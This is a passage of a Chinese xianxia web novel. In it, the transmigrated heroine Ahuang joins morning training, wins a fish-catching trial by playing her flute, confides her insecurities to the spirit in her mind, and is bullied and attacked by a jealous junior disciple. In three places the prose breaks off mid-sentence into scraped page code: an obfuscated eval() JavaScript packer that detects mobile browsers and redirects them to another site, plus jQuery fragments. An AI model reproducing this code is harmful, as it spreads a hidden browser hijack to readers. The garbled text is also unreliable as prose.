交谈中,阿凰发现顾纯儿的声音,或者说讲话方式像湾湾妹子,有时候会把“这样子”说成“酱紫”,连她一个女生听了都觉得有趣,何况是男子们,只会更觉得她可爱了。 没多久顾纯儿说要回去休息,临别前她心满意足地道别:“我走啦,不要忘了明天的晨练哦。” 出了门,顾纯儿脸上依然挂着微笑,这是她的习惯,她悠然自得地哼着小曲,好像心情很不错。 原本她对阿凰没什么特别的印象,为了给别人留下好印象,在见到她自己躺着的时候故意关心了一句,对她的印象也只是脸上长了巨大胎记声音很奇怪的女子。 直到阿凰众目睽睽之下跳出天舞缭乱,还被玄极特意关照,她才发现,这个人绝对不一般。 她当然知道天舞缭乱,只可惜没有套出阿凰的话,阿凰那套神女入梦的说辞可唬不了她。 抬头望着远处,顾纯儿很清楚那是玄极住的地方。 那位高岭之花般的长老是她心中最耀眼的存在。 她来到紫微派不仅仅是为了修行,主要目标是结交有实力有背景的人,甚至成为玄极徒弟也是爹爹亲自和玄极交代,只需要她本人过来就行。 娘亲教过她,修仙界众多佼佼者,她天生仙缘浅,资质上限决定她永远无法拥有很高的修为,所以她必须结交一切有望加入关系网的强者。 就连她摇竹筒摇到的中等资质,在紫微派也根本不够看,遍地都是这样的人。 没办法,弟弟不思进取,爹娘又不可能庇护她一辈子,她确实应该和有用的人打好关系,修行之路艰辛漫长,只希望身后永远不缺帮手。 一夜过去,阿凰睁开眼发现天色微亮,有一种不好的预感。 一问报时鸟,竟然要迟到了,她迅速穿好衣服,简单洗漱便跑出门。 可是看了一圈也没看到其他人,他们好像早就走了,她被落下了。 她不识路,只能硬着头皮自己走。 好不容易走进山里,四下望去鸟兽都没有,何况人影,而且,她好像迷路了。 脑袋一痛,阿凰抬头看去,以为是山上落下的小石子砸中了自己,却看到一个蓝衣女子拽着藤蔓荡来荡去,像成了精的野猴。 女子又丢了东西过来,这次阿凰用手接住了,原来不是石子,是一颗果子。 “你干嘛?” “来揍我啊。”女子一只手抓住藤蔓荡走,另一只手拍嘴巴,发出电视里野人挑衅的声音,更像野猴了。 阿凰觉得自己一定是太累了,出幻觉看到神经病了。 “你是m吗?” 女子疑惑地停下:“那是什么意思?” 阿凰没空理她,继续走。 “这就不理我了?”女子的声音从身后传来。 走了一段路,阿凰停下脚步远眺,没想到又看到那个蓝衣女子,这次她坐在枝头上啃果子,明明穿着正常,却给人一种她是野人的感觉。 她问:“你是不是迷路了?” 阿凰很实诚地点头:“对啊。” “你在找什么?” 以为她只会恶作剧,阿凰心里没抱有希望地问:“说了你就会告诉我吗?” 女子很真诚地反问:“为什么不会?” 阿凰只能试着问:“你有看到玄极长老吗?你知道晨练的后山怎么走吗?” 女子没有立刻回答,只是伸了个懒腰,再开口又是反问句:“他们怎么不等你,尤其是那个看起来很热心肠的小师妹……妙音仙子?声音真是好听哦,大老远就听到她在唱歌呢,你被他们丢下了?” 她居然知道?阿凰抓住了希望:“你看到了?他们去了哪个方向?请你告诉我吧。” 那女子一愣,明显心情很好:“这么真诚?那好吧,你顺着那条石头路走就行了。” 按照她指出来的方向,阿凰道谢后迅速跑过去,那女子的声音远远传来:“祝你好运哦,会跳天舞缭乱的师妹。” 跑着跑着阿凰感觉腰间鼓鼓囊囊的,低头看到腰上挂着一个布袋,取下来打开,里面装满了果子,是刚刚那蓝衣女子用来丢她的。 一醒来就往这边赶,又饿又渴,这果子来得正好,阿凰一边吃一边走。 真是个怪人啊。不,是好人。 直到听到一阵歌声远远传来,听着就知道唱歌的人很开心,阿凰认出来是顾纯儿的声音,嗓音比平时说话的时候尖了一些,声音一直飘着下不来,给人一种气息不足的感觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126052|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以阿凰唱见的经历来看,这是因为高音上不去,用假声硬顶导致嗓子紧唱出来的效果。 她跑上去,终于跟上走在前头的三个人,气喘吁吁扶着膝盖暂作歇息,他们意识到身后有人,停下脚步转过来。 顾纯儿后知后觉似的“啊”了一声:“阿凰?我以为你先到了呢,就先过来了。” “没事……没事,这不是正好赶上了嘛。” “那我们快走吧,别让师父久等了。”顾纯儿说罢转身继续边唱便走,时不时走音一下。 阿凰倒是想纠正她,教她一些科学的发声方式,想法刚冒出来觉得还是算了,好为人师是人性特点,这很容易讨人嫌,即使出发点是好的。 而且,听着的人确实都很喜欢。 独孤凤渊和宋清希看起来像在郊游,显然很喜欢顾纯儿的歌声。 等她唱完,宋清希立刻夸赞:“纯儿师姐不愧被称为妙音仙子,如此动听的曲子,你称第二谁还敢称第一?” “哇,你好夸张,夸人的话好假。”顾纯儿故作嗔怒,“我娘亲不让我和虚伪的人玩。” “师弟所言不虚,纯儿师妹的歌声宛若天籁,想必此等夸赞话术纯儿师妹早已听腻了,但确实皆是肺腑之言。”独孤凤渊道。 阿凰也跟着夸赞一句:“是啊,纯纯声音这么甜,听得人心情都好了。” 她嘻嘻一笑:“既然你们都这么说,那就勉为其难让你们当我的听众小弟吧,不收听票哦。” 接着又略微苦恼道:“其实我喜欢甜美可爱的女孩子,求上天赐我一个陪我唱歌吧。” “我我我!我可以!” 宋清希踊跃发言,被顾纯儿扭过头去不看他,哼了一声:“我要女孩子,才不要臭男人呢!” “可惜我的声音年纪轻轻就一把年纪了,甜不了一点,否则就有一只自信的百灵鸟开嗓了,要和纯纯一起唱。”阿凰继续捧场,努力表现出有趣的性格,虽然是以自贬的方式,可她没有别的办法,总是习惯一开口就把自己处于下位。 仿佛这样就显得没架子,有趣,好接近,至少让人不讨厌。 如此一路打打闹闹,走着走着阿凰就被挤开,跟在后面走,大部分时间都是独孤凤渊和宋清希围绕着顾纯儿说话,无论她说什么,他们都显得兴趣十足,特别捧场。 原来听别人互相奉承商业互夸是这种感觉,简直跟个小官场一样,阿凰想,难怪她当不了官,这些场面话她背都背不下来。 走到一条瀑布前,玄极长身直立于瀑布之上,似乎早已等候在此。 一看到他,顾纯儿眼睛都亮了,声音都比平时甜了许多:“师父!你来得好早,难道你早就在等我们吗?” 说罢率先飞身上去,落在玄极面前,说:“真是抱歉,让师父久等了,但是我今天可没有赖床哦,只是路太远了,也不知道师父什么时候到。” 独孤凤渊和宋清希随之飞上去,阿凰最后才跟着上去,下意识站在所有人之后。 玄极此人惜字如金,一个多余的字都不肯说,开门见山道:“为仙门大比准备之前先进行一番磨练,进入凡尘十二镜试炼,磨砺心性。” 9. 自卑吗 所谓凡尘十二镜,就是进入虚幻世界,体会一场梦境,镜中世界会让入镜人暂时忘却记忆,变得被动,若无法摆脱,沉迷其中,后果不堪设想。 在正式进入镜中世界之前,需要磨练本事,以免心性不定被困住其中。 也就是下副本前的准备。 “水中有一种飞鱼,通体将近透明,行动灵活,警惕性高,异常脆弱,不管你们用什么方法,只要能将它完整地抓上来,今日的试炼就算完成。”玄极道。 看来不能暴力行事了,他们的本领不能用了,会麻烦很多。 “师父想吃鱼吗?”阿凰嘴比脑子快,说完觉得自己脑抽了,赶紧闭嘴。 玄极也愣了一下,看着她:“不能吃。” 她干笑两声:“哈哈,我就说说……” “师父,这鱼为什么不能吃呀?看起来很漂亮呢。”顾纯儿眼睛一闪一闪亮晶晶,当起了好奇娃娃。 玄极道:“食之腹痛。” “哼,我先来。”宋清希一副志在必得的样子,率先走到瀑布边缘,将手掌一推飞出一把剑,扎入水中。 水面上看起来平静,而水底下已经被飞剑搅乱,飞剑在水里自由穿梭,不多时突破水面而出,掀起水花,等到飞剑回到宋清希面前时,上面躺了一条半透明的飞鱼,仔细一看才知道,飞鱼是被灵力吸附在剑身的。 “师父请看。”宋清希把剑移到玄极面前,对方并未言语,只是点点头。 他便把飞鱼挪到顾纯儿面前,邀功似的,迫不及待问道:“纯儿师姐,我怎么样?” “师弟真厉害呀,看起来气势汹汹的,却能用剑把飞鱼完整地带上来,这种方法我完全想不到呢,这难道就是我娘亲说的刚中带柔吗?” 顾纯儿夸赞完,宋清希便嬉皮笑脸起来:“纯儿师姐喜欢的话可以和我学,虽然我们断剑山庄的招式从不传给外人,但师姐是自己人,若想学我照样能做主教你。” 她礼貌笑着婉拒了,用手肘撞了撞独孤凤渊,调皮一笑:“独孤师兄,你先上吧,我和阿凰还要再准备一下。” 他有点意外顾纯儿会与自己举止亲昵,轻笑着看着她点头回应:“好的,纯儿师妹也不必着急,慢慢来。” 阿凰在内心感慨了一下他温柔的一面,同时也有点感激顾纯儿,拖延准备时间的同时还考虑到她了,真是细心的女孩子啊。 独孤凤渊站上前去,双手运起一团气,越盘旋越大,然后丢向水中,片刻之后,那团气包裹着东西浮出水面,飞回几人面前,飞鱼在气团中乱撞尝试逃出去。 “师父请验收。” 玄极看了一眼:“可以。” “哎呀,轮到我了。”顾纯儿伸伸懒腰,准备大展拳脚。 她卷起袖子和裤腿下水摸鱼,可这飞鱼哪里是能徒手抓到的,抓了一会儿反而衣服被弄湿了一些,因为她喜欢穿着样式繁杂的漂亮裙子,这时候怎么卷起衣服都会落下去一些,越卷越忙了。 而上方的三个男子见此情形,默契地移开视线,阿凰疑惑了会儿,突然反应过来,这可是古代背景,见到女孩子露出手臂和小腿,还湿了衣服,他们不好意思看。 下方的顾纯儿白忙活半天,气鼓鼓地叉腰盯着水里,忽然想到了什么,她回到岸边拿出一个袋子,一阵捣鼓,做了一个简易的鱼竿,而鱼饵是她从袋子里拿出来的,她坐在石头上钓起鱼来。 还能这样啊。阿凰在考虑这个办法的可行性,可是她身上什么都没有,拿什么钓? 钓鱼是一件很需要耐心的事,不但要心平气和,还需要安静,等了没多久,顾纯儿叹了口气,撑着脑袋犯困。 阿凰也想趁这时候抓鱼,可是怕打扰到顾纯儿,还是算了。 她盘腿坐下,在脑海里呼唤夜月姬:“等得好无聊,出来跟我说会儿话呗。” 没有回应,大脑放空片刻,她忍不住在心里唱歌,歌单切换着,无聊得脑海里响起一阵劲爆的音乐。 大东北是我的家乡,唢呐吹出了美美的模样…… “停停停,不要在脑海里放垃圾音乐骚扰我了。”夜月姬的声音冒出来。 用全损音质dj轰炸她还是经常有效果的。 阿凰问:“你终于舍得露头了?来到紫微派的这两天,你感觉怎么样,有恢复一些吗?” 夜月姬附身脑海里这么多年一直都是电量不足的状态,大部分时间都是沉睡着,她说在紫微派这种灵气充沛的地方会慢慢恢复。 “有点。”沉默了会儿,夜月姬问,“感觉最近你不太开心?” “有吗?”阿凰自己都没发现。 夜月姬又沉默了,良久,她叹气道:“我知道你的性格是经历造就的,其实你并不比别人差,不用总是放低姿态,人性是欺软怕硬的,你一直退让,别人就会把你的忍让当理所当然。” 阿凰无话可说。 她也想自信灿烂啊,可是她没那个资本,如果她也有个掌门爹,第一美人老妈,还有整天围着自己转的朋友和同门们,从小听着夸夸耳濡目染长大,只是呼吸大家就夸她好棒,她也会是阳光自信的社牛。 见她心情更低落了,劝出了反效果,夜月姬有些无奈:“每个人都是独特的个体,每个人都是自己人生的主角,不必为了别人的闪光点而怀疑自己的价值,你那里有句话是怎么说的来着……比较是偷走快乐的小偷。” “我从没想过和别人比较,只是,别人发光的时候照射到我,会让我羡慕罢了。”顿了顿,阿凰说,“自卑?也许吧,说一点都没有是不可能的,你看啊,大家有完整的身世,再不济也有一些本事,我呢,要不是有你的帮助,也许现在什么都没有。” “少长他人志气灭自己威风,能发现别人的优点,你也不赖啊,再者说,你有什么好自卑的?腰细腿长,肤白若雪,还有体香……” “那是药吃多了散不去的气味。” 夜月姬不在意,继续说:“唇红齿白,鼻子小巧而挺,一双眼睛不笑时若即若离,笑起来明媚动人。还有啊,你前世能唱能跳的,那么受欢迎,再自卑叫别人怎么活?其实小时候给你算命的神棍还真说对了,你长开后确实是个祸水容颜。” “再夸我就当你是我的梦女了。” “O而K之。”夜月姬笑说。 “你少学点乱七八糟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126053|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” “我还会说,小瞧阿凰的人都low爆啦!” 这么一聊,阿凰心情好多了,有心思开玩笑了:“说这么多不如从我身上出去,让我恢复正常,我还是很喜欢我的脸和声音的。” 脑海里又静下来了,阿凰也不在意,疑惑道:“为什么你附身了我会导致我失去声音和容貌?这是什么原理?” “……不知道,也许以后会有答案吧。”夜月姬说,“我要关机了,出现太久会被高手察觉。” 等脑海里重归平静,阿凰看着下方,顾纯儿还在钓鱼,她就继续在心里唱歌了,不自觉跟着旋律小幅度摇头晃脑。 回过神来,她感受到有目光聚在自己身上,抬头就碰上玄极的视线,另外两人也跟着看过来。 她瞬间老实了,坐直了身子,还是觉得怪怪的,干脆站起来,好在他们只是看了她一眼就继续看顾纯儿钓鱼。 下方惊呼一声,顾纯儿终于钓到鱼了,她用衣服兜着鱼飞上来,凑到玄极面前邀功:“师父!你看,我抓到了,怎么样怎么样?” 玄极垂眸看着飞鱼,“嗯”了一声。 得到了认可,顾纯儿笑嘻嘻的,凑到阿凰跟前来:“阿凰,就剩你了,快让我们看看你要用什么办法。” 阿凰往前走了两步,看着下方的水流,拿出玉笛吹奏,手指一上一下按着笛孔,乐声悠扬回荡在山谷中,林中的鸟儿发出鸟鸣,好似在给乐声伴奏,闻之令人心旷神怡。 水面掀起浪花,一条飞鱼首先飞出水里,紧接着它身后有数条飞鱼跟在后头,连成一串有序地飞到上空,随着笛声翩翩飞舞,曲调一变,那些飞鱼自动朝阿凰飞过来。 她伸出手,一条飞鱼噗通落在手掌中,躺得很是顺从。 “师父,可以吗?” 玄极伸出手,那条飞鱼飞到他手中,只是看了一眼,他便点头说:“虽然你们都通过了,但四人当中,阿凰的飞鱼是最完整的。” 他一挥手,四条飞鱼飘在面前,仔细观察才发现,除了阿凰的那条鱼没有一点破损,别的确实各有各的细微缺损,顾纯儿的那条鱼更甚,因为接触过多,不免有些地方被碰坏了。 阿凰想,这种鱼这么脆弱是怎么生存的?不如叫豆腐鱼吧,跟豆腐一样一碰就碎。 顾纯儿失落地叹气:“什么飞鱼啊,这么脆弱?我已经很小心了,真的有人能毫无破损地抓到它吗?” 随即,她开玩笑似的说,甚至语气中带了一丝耍赖皮的意味:“阿凰耍赖,这样抓也算数吗?” 虽然知道她只是开玩笑,没有恶意,可阿凰心里还是有点不舒服。 被她这么说,阿凰有点慌了:“可是,我也没有别的办法,只能这样抓了……” 顾纯儿主动握住她的手:“别紧张,我是开玩笑啦,你不喜欢以后我不这么说了。” “哈哈哈……没事没事,我知道。” 虽然这么说,也想让自己别多想,可阿凰总觉得哪里怪怪的,说不上来。 她转头夸顾纯儿:“你比我们都厉害啊,不动用灵力就能抓到了。” 顾纯儿甜甜笑道:“是师父教得好啦!” 10. 挑衅 晨练结束玄极就原地消失了,不知去向,顾纯儿刚开口发出一个音节,没来得及挽留他,她有些失落。 下山的时候独孤凤渊和宋清希一直找话题和她说话,她才开心一些。 阿凰也很努力地搭话,幸好顾纯儿愿意理她,甚至很捧场,她的话都没有落在地上,她的尴尬感才消失了。 “你的鼻子好挺啊。”顾纯儿突然凑近了说。 没预料到话题转变得这么突然,阿凰有点措手不及,懵懵地“啊?”了一声。 “睫毛也很浓密,真好看。” 夸得阿凰不好意思地笑了笑。 顾纯儿好像发现了新奇的事物,说:“你要多笑笑嘛,笑起来眼睛多好看!我娘亲说,爱笑的女孩子最讨人喜欢了,我若是个男人都要爱上你的眼睛了。” 突然发现顾纯儿好像很喜欢说我娘亲如何如何,阿凰对她的印象词多了一个乖乖女。 “谢谢……你的眼睛比我漂亮多了,亮晶晶的,像宝石一样。”真诚的夸赞让阿凰也想用真诚回报。 人在交流中总是习惯用贬低自己抬高别人的方式来找话题,好像这样就能避免冷场,也显得自己谦虚,不高傲。 她下意识瞟向一旁的独孤凤渊,发现他也在看着自己,心中一惊迅速收回视线,同时内心也有点窃喜,口腔中虎牙咬住两边的肉才避免自己嘴角上翘,暴露了心思。 回过神来,她发现最近自己看独孤凤渊的次数是不是太频繁了?总是习惯在人群中搜寻他的身影,如果没找到就觉得失落。 心绪被一个人牵动着,她感觉这样的自己好陌生。 要是被他逮到了,该有多尴尬啊…… 是不是应该和他保持距离,尽量少见到他,这样会不会有所改善? 离开了后山,顾纯儿说自己有事,头也不回就溜了,独孤凤渊和宋清希一看她不在,也觉得无趣似的,二话不说就各自走人,一个字也不愿意多给她,仿佛没有顾纯儿在的场面,他们终于不用装同门和谐友爱了。 阿凰自己一个人在原地发了会儿呆,反正也不知道该干嘛去,只能回观画阁了。 一边走,她一边小声哼着歌,只有独处的时候她才会彻底放松身心。 “脚步却从来不会为我而停,给你的爱一直很安静,来交换你偶尔给的关心……” 多好笑啊,以前的她觉得这种歌词无病呻吟,然而这段时间,她心里总是冒出这首歌的旋律,以前她是不爱听这样忧伤的歌曲的,现在却觉得很符合心境,好像突然能领悟了那种情绪。 为什么世人的感情要这么复杂?如果没有感情就好了,就不会那么难受。 有时她想,宁可感受不到感情,也不想被情感牵动而痛苦。 “傻姑娘,人非草木,孰能无情?连神仙都是有感情的,何况我们红尘之中的凡人呢?”夜月姬的声音响起。 和她共处十几年,阿凰早就习惯了,可是这种小心思被人发现了,还是会感到难堪。 “你能不能当没听到?” “有什么不好意思的?有这些情绪很正常,总要直面自己的感情啊。” 阿凰没说话,夜月姬又说:“你好像很喜欢那个姑娘嘛。” 她知道说的是谁,说:“纯纯人真的很好,不只是我喜欢她,大家都喜欢她啊,喜欢这么好的人很正常吧。” 顾纯儿一出现就是万众瞩目,连阿凰都从别人口中知道她背景强大,她父亲和玄极听说是故交。 不过……大家对于顾纯儿父母的评价似乎褒贬不一,表面上大多数人都交口称赞为神仙眷侣,可私底下还有传言说实则不然。 至于为什么,阿凰也没敢问。 话说,平常夜月姬最爱评价,怎么这种时候不点评一下? “你想听我评价什么?”夜月姬问。 阿凰冒出八卦之心:“难道你也知道纯纯的父母?多说点,我有点好奇。” 夜月姬直接回避了这个话题,疑惑道:“为什么顾纯儿的父母,这两个人惊为天人一般的容貌,生出的孩子却长得这么普通,十八岁的声音,三十八岁的脸?” 没想到她会这么评价,阿凰阻止她继续口出狂言:“停停停,你被夺舍了?突发恶疾,说话这么过分,哪有这么夸张?你可嘴下积点德吧,容貌天生的,人家能怎么办?” “按照这个世界的因果论来说,父母作恶孩子也会有报应,我开始好奇了,她的父母做了什么?导致孩子没有继承到优点。” 阿凰无奈了,说:“人家除了不像父母长了一张惊为天人的脸,好像也没什么大不了的事,甚至处处逢源,修仙资质也是不赖的,未来的道路无比光明,这算什么报应?倒是你,我好像知道你为什么受重伤了,嘴贱挨揍了吧?” 不过她也不由得联想到,很多长得好看的明星生出来的孩子却没有继承父母的美貌,有些长得普通,有些甚至天生长残,也许是正正得负吧。 夜月姬没在意阿凰的话,两人贫嘴了会儿,她又要休息了。 阿凰继续哼着歌往回走,看到周围一个人都没有,更自由地放声哼唱。 远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟…… 是一首来自某个山区的民歌,歌颂劳动人民青年男女大胆表达心意,也是阿凰小时候上音乐课学会的第一首歌。 以前的人们尚且豁达勇敢,阿凰觉得自己一个现代人那么拧巴真是惭愧。 想起来,一开始她的账号叫山鬼谣,因更新缓慢被戏称为“年更谣”,如今她消失在那个世界,应该会有粉丝担心她的安危吧。 脚下绊到了什么东西,阿凰整个人面朝地面扑倒,摔了个狗啃泥,用手撑着上半身坐起来时火辣辣的疼,一看手臂擦伤了,通红的伤口裸露在空气中,风吹过来都是疼的。 “噗嗤!”有个声音在嗤笑,笑声中满是得意忘形的意思。 阿凰循着声音抬头望去,看到宋清希蹲在树上,脸上带着嘲讽的表情:“真蠢。” 她站起来,心里不爽,脸上也没带什么表情:“你什么意思?” 宋清希不屑地笑着反问:“什么什么意思?我的意思还不够明显?” 顺着他的视线,阿凰低头看到自己脚下有一条藤蔓,心里也明白了一切。 “你几岁了?” 对方没想到她会问候自己的年龄,疑惑了一下。 她继续说:“十几岁的人了,还跟三岁小孩一样,正事不干捉弄同门,恶作剧也要有个限度,否则别人会以为你大脑没发育。” 宋清希完全没被攻击到,说:“谁跟你说我是在恶作剧?我就是看你不惯,如何呢?” 好久没遇到这么直白的恶意了,阿凰一时愣住。 看到她被中伤的样子,宋清希得意地笑了。 “幼稚。”阿凰冷哼一声,反而笑了,“我看你心智不太成熟,就先让你这一次了,再有下次,我这个做师姐的可就不再包容你了,幼稚的小朋友。” 她不哭不闹,也不生气,没有达到预料之中的效果,宋清希顿时觉得没意思了,好像一拳打在棉花上。 见她要走,他出声叫住她:“喂,你难道就不好奇吗?” “你说。”阿凰看着他。 眼见她又搭理自己,宋清希又来劲了,调整出嘲弄的神情,一字一句强调道:“你真的很碍眼。” “碍了谁的眼,你?”阿凰回忆着说,“我没得罪你吧?目前为止,我跟你才见了两次面,甚至没说过话。” “纯儿已经很辛苦了,还要那么照顾你,早上没见到你还问了我们,身为同门,你还是师姐,却要她照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿凰也不知道自己怎么就惹到这样的人了,预感到自己以后会有不少麻烦,但是,做都做了,后悔没有意义,而且夜月姬说得对,人都是欺软怕硬的,人家都欺负到头上了,一味的忍让只会让对方变本加厉。 如果,前世的她能早点明白这个道理,早点坚强起来,也许就不会那么痛苦…… “你嘲讽别人的身体缺陷真的很恶俗。”阿凰冷声严肃道,不敢想象,要是一个真正的残疾人遇到这种人这种事,会有多痛苦,越想越气了,“有你这种人做我同门,真是师门不幸。” 她真是不明白,宋清希对自己哪里来这么大的敌意?仅仅是因为她占了顾纯儿的目光?以为她抢了顾纯儿的注意?那他真是想太多了,顾纯儿认识的人那么多,她只是万中之一,极其渺小微弱的一部分,要是每一个他都要这么计较,这辈子不得累死。 宋清希很显然没料到她敢对自己这么说话,明明在此之前她都是没什么脾气的样子,好像一团无聊的棉花,可他一出手,她就露出不为人知的一面,居然还会说出这么有攻击性的话?他长这么大从来没人敢呛他。 “站住!你说什么?” 阿凰不理会,继续走。 宋清希从上方一跃而下,落在面前拦住去路:“把刚刚的话再说一遍。” “你这么喜欢听别人骂你吗?”阿凰丝毫不惧,直视他,“可惜我没功夫陪你闹,不过我要敬告你一句,为人处世谨言慎行,紫微派不需要败类,你也别丢了断剑山庄的脸。” 他恼羞成怒,挥掌出击,步步紧逼,攻势凌厉,阿凰节节败退,眼看要被他伤及要害,怒喊:“住手!你想让大家都知道你我同门相残吗?你就不怕师父看见?” 宋清希得逞似的笑了,眉眼间充满桀骜不驯的邪气:“原来你还知道害怕啊?正好让我看看你究竟有什么本事。” 11. 正义少年 这养尊处优的小公子真是疯了。 阿凰自知以自己的实力,是断不可能打得过宋清希的,便只能一个劲的逃跑躲避,可对方不依不饶,步步紧逼,好多次她都以为对方一定要她的命,否则不会善罢甘休。 在她再一次惊险地躲过对方的攻击后,她拉开距离跳进一口钟里,暂且得到了稍作喘息的时间。 腿都累麻了…… “哈哈哈,缩头乌龟!”宋清希好整以暇地看着躲起来的她,也不着急出手,好像在逗一只没有攻击性的宠物,“对付你,我根本就不用武器。” 欺负弱小,有什么好得意的。 阿凰蹲在钟里,闷闷地想,自己都能叫来什么人救一下?脑子里回忆了一下认识的人,发现没一个熟人,先不说能不能联系上了,就算能,人家还不一定愿意管这破事吧? 至于玄极?哎……刚拜师两天,真不想为了这点破事麻烦他,不想让新师父认为她是个爱惹麻烦的人,唯一一个比较熟的独孤槿还在山下呢。 “你是自己出来,还是等我把这口钟打碎了揪你出来?”外面宋清希还在叫嚣着。 阿凰觉得这口钟好歹是紫微派的东西,初来乍到,他应该不至于轻易弄坏公共物品吧? 下一刻,宋清希失去了耐心,劈出一道掌气,顿时把钟劈碎了,阿凰承受不住掌气,被击飞出去,远远滚了好几圈,好半天没恢复过来。 等到她喘了口气,抬头看见那双精美的鞋子踩在眼前,宋清希居高临下看着她:“喂,还手。” “第一,我不叫喂。”阿凰站起来,看着他说,“你这样跟人说话很不礼貌,我不想跟没礼貌的人有来往,况且长幼有序,你是师弟,不该刁难师姐。” 宋清希嗤笑一声:“第一,我不想叫你的名字。” 他虽然知道阿凰的名字,可是觉得这样叫一个人很亲昵,甚至觉得她在投机取巧,故意让大家这么称呼她。 “至于师姐,”他轻蔑地看着阿凰,“在我心里,我的师姐只有纯儿一个人,你还不配让我喊你师姐。” “况且,身为断剑山庄的独子,我自然知道什么是礼义廉耻,只是这份礼仪只有纯儿有资格看到。” 礼义廉耻?阿凰对他的自我评价表示怀疑。 “好吧,师弟,那很遗憾了。”她故意这么叫他,忽然觉得这人也挺小孩子脾气的,反而想故意应对他,不是讨厌她吗?那她就反着来。 果然面前的人神情一冷,后退两步和她保持距离,好像怕她会不要脸地贴上来。 “喂,师弟,你是不是很好奇纯纯喜欢什么?” “你不许那么叫她。”宋清希打断她说,“继续说。” 阿凰无语了一下,接着说:“你答应不为难我的话,我把她的喜好都偷偷告诉你,你再投其所好,这样不就和她的关系飞速发展了,怎么样?” “真的假的?”宋清希半信半疑,显然对这个主意有些心动。 “假的。”阿凰声音一冷,迅速后撤退开一些距离。 不知什么时候,宋清希脚下已经聚集了一堆藤条,阿凰吹起玉笛,奇异的曲调驱使着藤蔓迅速向上攀爬,一眨眼的功夫,宋清希就被藤蔓紧紧缠绕住。 “我怎么会出卖我朋友的情报,用来讨好你这种人?” 阿凰在内心冷哼一声,这些男人真是的,一个个为了心上人变得是非不分,喜欢一个人喜欢到丧失理智,这样真的很危险。 她不想自己也变成这样,虽然,感情这种事真的很难控制,但至少她不想变得自己都觉得面目全非。 生命最重要,重活一世她变得很惜命,再喜欢一个人也不能把自己的性命置于危险的境地。 意识到自己被戏耍了,宋清希面色阴沉,只是一个劲冷笑,看得阿凰心里犯怵,她觉得,若是真被他逮到了,一定不会轻易饶过她。 于是阿凰扭头就跑,大不了,趁他破开藤蔓之前跑到人多的地方就是了。 “你跑得好慢啊,我的笨师姐。”宋清希阴恻恻的声音从后头传来。 阿凰浑身寒毛炸立,还没反应过来,脚下就被东西缠住跑不动了,紧接着那些东西都攀爬上来,她浑身都被缠住,甚至越缠越紧。 “放开我……” 宋清希缓缓地在她面前踱步:“你求我啊。” 阿凰犹豫了,她虽弱小,可是也是有尊严的,被一个人这么欺负,反过来还要求他,这个人还阴晴不定的,就算真求了他,也许只会受到嘲笑,然后被欺负得更狠。 见她不肯低头,宋清希让藤蔓缠得更紧,眼看着她呼吸困难,便没有继续,他只是想给她一点教训,不是真要闹出人命。 正想着用什么话羞辱她,宋清希就见她身上被藤蔓缠出红印,瓷白的肌肤留下令人遐想的痕迹。 他难得沉默了,刚刚还牙尖嘴利的,现在一个嘲讽的字都说不出来,默默移开了视线。 真白啊,不知道手感怎么样。 他一向是直白的性子,这么想着,还真的上手了,手掌捏住阿凰的下巴,迫使她抬起头。 近距离一看,她分明是唇红齿白的,面容白净细腻,鼻子小巧而挺,一双眼睛干净得无一丝瑕疵,睫毛浓密翘长,眉型不加修饰就是细长的黛眉,连脸型都十分完美。 若不是有脸上的胎记,她无疑是十足的美人。 阿凰不服气地挣扎起来,也因此累得微微喘息,宋清希觉得自己被这个坏女人迷惑了,否则怎么闻到了香气? 浑身一轻,缠绕在身上的束缚被撤去,阿凰失力后退了几步,差点没站稳摔倒。 宋清希从储物袋里拿出来一套衣服,扔到她身上,她手忙脚乱地接住。 他本来是要送给顾纯儿的,此时看着阿凰,忽然起了逗弄的心思,想看到她被逼迫穿繁复的裙子打架会不会觉得很屈辱。 “穿得正式些再跟我打,我可不想被别人说我在欺负乞丐。” 过分了,她只是没闲钱买好衣服,都拿去买药吃了,而高级的衣服和药材需要用灵石买,她还在努力,已经一段时间没续药吃了。 阿凰觉得这人莫名其妙,想法跟天气似的变幻莫测。 “你转过去。” 宋清希虽然嘴硬了一句不稀罕看,可还是照做了。 等了好一会儿,在他以为阿凰趁机逃跑时,她从石头后面走出来:“好了。” 转身一看,宋清希一时呆住,本以为她这么无聊的人穿着这么粉嫩的少女衣裙会很别扭,没想到意外的合适,她的身子仿佛天生的衣架子,好像任何衣服在她身上都不会难看。 他哪里知道,阿凰原本作为颜值与才艺并重的小网红,能驾驭各种风格,可爱风也完美适配,穿搭赛道有她的一份,所以无法用一种风格框定她,现如今没了容貌,可体态还在,人们都说,好看的人不局限于某一种风格。 “能不能不打?非要自相残杀吗?”阿凰说。 宋清希道:“我说了,让我看看你的本事,拿出你的武器战斗。” 